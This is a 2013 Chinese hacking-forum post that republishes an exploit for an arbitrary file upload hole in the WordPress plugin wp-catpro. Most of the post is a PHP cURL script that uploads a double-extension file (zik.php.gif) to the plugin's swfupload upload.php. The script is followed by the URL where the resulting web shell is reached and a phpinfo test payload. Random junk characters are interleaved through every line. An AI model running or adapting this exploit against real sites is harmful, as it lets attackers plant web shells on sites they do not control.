找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2207|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability& Y# O. s' l1 [+ Z& e  l) N4 q
#-----------------------------------------------------------------------4 N4 [( B2 M; O- S* |! H
8 s3 h0 F$ z, v: L7 b
作者  => Zikou-16) ?1 a; @0 K2 a! ~
邮箱 => zikou16x@gmail.com
9 T  s: N* l5 @: \0 E测试系统 : Windows 7 , Backtrack 5r3
, |. j6 X* l2 X5 J; A" A9 }6 K! R下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
$ X  j0 N* C7 D% R* A" p0 M####" M6 i0 w- {3 K" Z& z1 r+ x" n7 t
" y, H! b4 I. s; E
#=> Exploit 信息:
+ f3 J5 p% E# M" Y  _1 k------------------! C& \0 S4 L% w8 g: n' b
# 攻击者可以上传 file/shell.php.gif
4 K0 m; [+ W6 j1 T' D# ("jpg", "gif", "png")  // Allowed file extensions7 y' W* o  N9 r
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)" e, Z2 L% S& X+ }; q8 d
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)3 m: J+ J8 S2 ?  k9 l' {. w
------------------# w5 O  _! r# q$ ?0 _2 g6 S

, X. n, x9 s: v6 W# e& T# m3 Z#=> Exploit
/ X' I' F* v% g0 D+ q6 Z" c-----------2 ^& R# N4 T$ \
<?php
1 M& _& M7 S, @. g5 n7 \
. X0 d' Y( N: k$ P7 S; b, y5 d$uploadfile="zik.php.gif";* O( W: G$ E# R  N9 l. y3 X
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
9 I' g$ i/ x8 |. t$ Fcurl_setopt($ch, CURLOPT_POST, true);5 D7 D. f, s' K. ~; X$ ^" D
curl_setopt($ch, CURLOPT_POSTFIELDS,% s) h) b  q- c
array('Filedata'=>"@$uploadfile",& ]1 I+ w' n& `* l- y
'folder'=>'/wp-content/uploads/catpro/'));/ k  y8 r, o. g8 Z
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
% u& G; i4 a& o/ z; M. }0 w$postResult = curl_exec($ch);" Q4 A" \' o% v. S( L: w2 n: {
curl_close($ch);
4 e. }) \/ N+ V + R7 i4 Z9 j$ G! ~
print "$postResult";
! a) c4 B3 L4 f
3 O3 x6 C$ }5 g) DShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif; M3 `  r9 a7 S/ q" g5 `
  ?>
+ @- {5 G* F8 P% z) M<?php7 x) g6 I4 f9 Y& P( b! x) y; W
phpinfo();" m: B  j; g' j# \
?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表